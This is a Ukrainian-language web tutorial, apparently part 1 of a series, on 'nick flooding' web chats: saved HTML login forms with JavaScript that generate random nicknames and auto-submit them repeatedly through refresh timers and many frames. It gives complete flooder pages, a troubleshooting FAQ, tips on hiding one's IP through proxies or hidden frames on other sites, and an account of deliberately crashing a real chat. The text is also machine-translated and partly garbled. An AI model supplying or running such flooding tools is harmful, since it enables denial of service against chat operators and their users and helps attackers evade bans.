Anti-chat або nick flooding ч.1

продовження >>>


Продовжуючи тему FA, ми вирішив написати ще одну статтю, яка тепер вже точно відповідає своїй назві. Увага: використовуйте це виключно для боротьби з "відмороженими" админами, які від неробства або щоб показати свої можливості викидають з чату з будь-якої причини також без неї. Не використовуйте цей засіб в чатах, в якому місці вам відчужують нормально спілкуватися, тому що ви не дасте поговорити нікому, тому що в чат стане заходити значне число різних "людей" причому їх стане так чимало, що висловлювати в чаті стане не можна ... Іншими словами це "Nick Flooding" або наповнення чату неіснуючими відвідувачами.

Зберігаємо на диск стартову сторінку.
Для реалізації вам буде потрібно чат зі входом без реєстрації також мало знання html (хоча-б що це таке). Зберігаємо стартову сторінку чату, це в якому місці написано "Введіть ваш нік"

Код приблизно такий

<Html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x"> - шлях куди відправляються дані
Введіть ваш нік: <input type = text name = Nick> - Тут вводиться нік
<INPUT name = color type = hidden value = red> - фарба
<INPUT type = submit value = "Почати !!!" > - Кнопка

..................... </ Html> </ body>

А так це виглядає в броузер: Введіть ваш нік

Якщо у вас стартова сторінка завантажується у вигляді фреймів, тобто вже видно повідомлення, внизу написано "Введіть ваш нік" (зазвичай це найнижчий фрейм) треба клацнути там (внизу) правою кнопкою також вибрати "Перегляд у вигляді html" там ви побачите також що також в першому випадку, можливо що код стане складніше.

якщо ви вмієте працювати з чатом з диска також в даному чаті це можливо, то код нижнього фрейма після першої сказаної фрази стане мати наступне:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x"> - шлях куди відправляються дані
<input type = hidden name = Nick value = Ваш ник> - нік (його ніяк не видно)
<INPUT name = color type = hidden value = red> - колір
Введіть фразу <INPUT TYPE = TEXT name = say size = "24"> - полі редагування
<INPUT type = submit value = "Сказати !!!" >

..................... </ html> </ body>

Якщо цей чат знаходиться за адресою http://www.domen.ru то в рядок <FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x"> прописуємо цю адресу також отримуємо: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> тепер запускаємо цей файл також заходами з нього в чат, name = "chat_x" може бути відсутнім, в той час дозволено додати його самому. Замість chat_x.оно може називатися також по другм. Якщо виходить заходити в чат з цього файлу, переходимо до наступної елементи.

Перша фішка: генеруємо "Відвідувачів чату"

Якщо використовувати для наших цілей один нік, то більше 2-3 фраз він ніяк не протягне ... викинуть. Значить треба щоб нік прктически завжди був різний в цьому нам допоможе Java script (вам його знати ніяк не обов'язково, просто підставите свої цифри) Math.floor (Math.random () * 100000000)

Приклад дозволено побачити натиснувши на кнопку:


Пояснення: Математичний об'єкт Math: Math.random () генерує кількість від 0 до 1, потім це число округляється при підмоги Math.floor () і щоб воно було ціле треба помножити наприклад на 10 в той час стане генеруватися число від 0 до 9, якщо помножте на 100, то аж до 99, якщо помножити на 1000, то аж до 999 також. т.д. тобто довжина одержуваного в результаті числа, менше або дорівнює числу нулів в тому числі на яке множили .... блін, особисто вже заплутався Smile happy )) В прикладі (див. Нижче) це кількість дорівнює 100000000 викликаючи який ми отримаємо випадкове число, це, буде нік ...
Для того щоб це кількість вписалося в форму для ника, ставимо його в автозавантаження сторінки, тобто в тег <body> пізніше цього вийде: <body onload = "document. chat_x. nick .value = (Math.floor (Math.random () * 1000000))"> зверніть турбота на назву форми (див. зразок html-коду вище, воно виділено жовтим кольором) це потрібно для того, щоб випадкове кількість вписувалося в потрібну форму також в потрібне поле.

Інша фішка: Відправляємо "відвідувачів" в чат.

<Script Language = "JavaScript">
function submit () {
Timer = setTimeout ( "(document. Chat_x .submit ())", 1000);
}
</ Script>

Цей скрипт як би "Натискає" кнопку "Submit" і отпраляет дані з форми з назвою chat_x, в чаті ця кнопка може називатися "Увійти в чат" або "Сказати", діє він це з затримкою 1000 мс, це щоб ви могли спочатку побачити що загрузилось (пізніше можна поставити 100), але потім дані автоматично відправляються, але для цього треба прописати функцію відправки submit () в автозавантаження нашої сторінки тобто в тег <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit ()"> тепер при завантаженні сторінки вибирається випадкове число, потім воно записується в форму chat_x в поле nick. також дані з форми chat_x відправляються на сервер, виходить що в чат зайшов чол з ніком у вигляді декількох чисел.

Приклад html-коду нехитрого чат-флудера

<HTML> <HEAD> <TITLE> Chat Flooder </ TITLE>

<Script Language = "JavaScript">
function submit () {
Timer = setTimeout ( "(document. Chat_x .submit ())", 1000);
}
</ Script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x. Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = "chat_x">
<Input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<INPUT type = submit value = "Почати !!!">
</ BODY> </ HTML>

Останнє ... особисто флудинг

Для цього їсти три способи.

1.Создать файл містить пара фрейма, в одному файл, який при завантаженні створює нік також відправляє його в чат, назвемо його forma.htm, але у іншому фреймі будь-який інший файл, у мене в зразку це yo.htm. І зберігаємо його з ім'ям frames.htm Код цього документа стане такою:

Зміст файлу frames.htm

<Html> <head> <title> Chat Flooder </ title> </ head>
<Frameset rows = "*, 100">
<frame name = "main" src = "forma.htm">
<frame name = "send" src = "yo.htm">
<Noframes> <body>
<P> This page uses frames, but your browser does not support them. </ P>
</ Body> </ noframes> </ frameset>

Ім'я фрейму send я виділив спеціально, тому що дані будуть відправлятися в нього, щоб файл forma.htm після відправки Ніяк не вивантажуються. Далі в коді forma.htm дописуємо наступне: в тег <FORM action = ..... target = "send"> і в витік акта рядок: <meta http-equiv = "Refresh" content = "1"> щоб файл сам оновлювався кожну секунду, і ставимо Timer = 0. Що вийшло: Файл оновлюється також шле в чат відвідувача, це видно у кадрі, де ім'ям SEND тобто натомість файлу yo.htm з'являється чат, потім forma.htm оновлюється також знову шле новоспеченого чола в чат, також знову оновлюється також знову в чат заходить новоспечений ... так аж до безкінечності :) Частота оновлення ставиться виходячи з швидкості підключення.

Приклад змісту файлу forma.htm

<HTML>
<HEAD> <TITLE> Chat Flooder </ TITLE>
<meta http-equiv = "Refresh" content = "1">
<Script Language = "JavaScript">
function submit () {
Timer = setTimeout ( "(document. Chat_x .submit ())", 0);
}
</ Script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x. Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = "chat_x" target = "send">
<Input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<Input name = password type = hidden value = "">
<INPUT type = submit value = "Почати !!!">
</ BODY> </ HTML>

2 Спосіб. Спочатку робимо 4 файлу які будуть відрізнятися тільки затримкою при відправці також один фреймовий файл в якому стане наприклад 16 (!) Фреймів, в першій четвірці перший файл, в ньому Timer = setTimeout ( "(document.chat_x.submit ())", 1000 ); У другій четвірці фреймів завантажується другий файл в якому затримка дорівнює 10000. У третій четверке- 30000. Ну але в четвертій четвірці завантажиться четвертий файл з затримкою 40000 тобто кожні 10000мс в чат заходитимуть 4 "людини" і всі різні, правда вони будуть у вигляді цифр але це фігня ... Якщо ви використовували форму входу в чат то всі вони будуть "заходити" в чат, але якщо форму відправки повідомлення, то дозволено вписати ще як повідомлення абзац тексту, в той час кожен згенерований нік стане говорити ... Експериментуйте, пробуйте інші варіанти з фреймами ...

Залишилося тільки приховати свій IP, для цього дозволено скористатися A4Proxy, набрати великий перелік серверів ....

3 Спосіб. якщо у вас їсти сайт, то дозволено розмістити дані файли на нього, наприклад в прихованому фреймі, в той час також IP прктіческі завжди стане різний ...

валимо чат :)

Чати використовують систему приватов, так влаштовані, що без упину знаходяться "на зв'язку" з комп'ютером користувача, тобто постійно генерують для нього потік повідомлень, стежать ніяк не вимкнено він ще, також якщо юзрверей робиться надзвичайно чимало то чат може ніяк не витримати також "впасти". Так ось, недавно ми був в чаті який витримує максимум 70 індивід, потім просто перестає працювати, хоч стартова сторінка також завантажується ... Покласти такий чат "вручну" виявилося ніяк не важко, треба було просто зробити файл який генерує ники, шле їх в чат, через хвилину після запуску цього файлу, в чаті до існуючих 23-м додалося ще приблизно 50 осіб :) ) Також він ессесно впав (я використовував файл з безлічі фреймів, в яких був один також той бла бла файл) І треба відзначити, що ми був у клубі але там значна швидкість також потужні комп'ютери :) . Може також з модему теж вийде (типу домовитися з кимось також відразу почати) або спочатку спробувати самому, ніяк не знаю ... Не забувайте що чати ведуть логи також у адмінів після цього може з'явитися бажання подивитися що-ж це було таке :) Тепер доступ з IP-адреси інтернет-клубу "GeForce" в цей чат закритий :)

FAQ: Якщо ніяк не виходить

FlooDer: У мене нічого не виходить :)
Спробуй спочатку просто зайти в чат з диска, тобто з збереженої на гвинт форми входу, якщо все вийшло, значить похибка в коді "скрипта-флудера" :) , Якщо не вдалося, то читай далі ...

FlooDer: Зайшов з диска, нині ніяк не виходить відправити дані :) що діяти?
Перевір правильність назви форм (name = XxXxX)

FlooDer: У рядку <FORM action = http: //www.***.ru/chat.cgi method = post> загальний немає name = "XxXxX", що діяти?
Встав сам: (name = "chat_x" target = "send") target- щоб дані відправлялися у фрейм send, вийде так: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send">

FlooDer: При вході в чат треба вводити пароль, підходить всякий якщо нік ніяк не зареєстрований, як його вписати в код?
У формі для введення пароля треба додати: value = "abrakadabra" тоді з цим паролем вступатимуть все сгенеренной "юзери"

продовження >>>

Сподобалося? Підпишись на RSS новини!
Ви також можете підтримати shram.kiev.ua, тисніть:

Не зайвим буде і твоїм друзям дізнатися цю інформацію, поділися з ними статтею!

Розгорнути / згорнути Розгорнути / згорнути вікно з коментарями

Коментарі

Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.
Кредитка безкоштовно з лімітом в 15000 грн.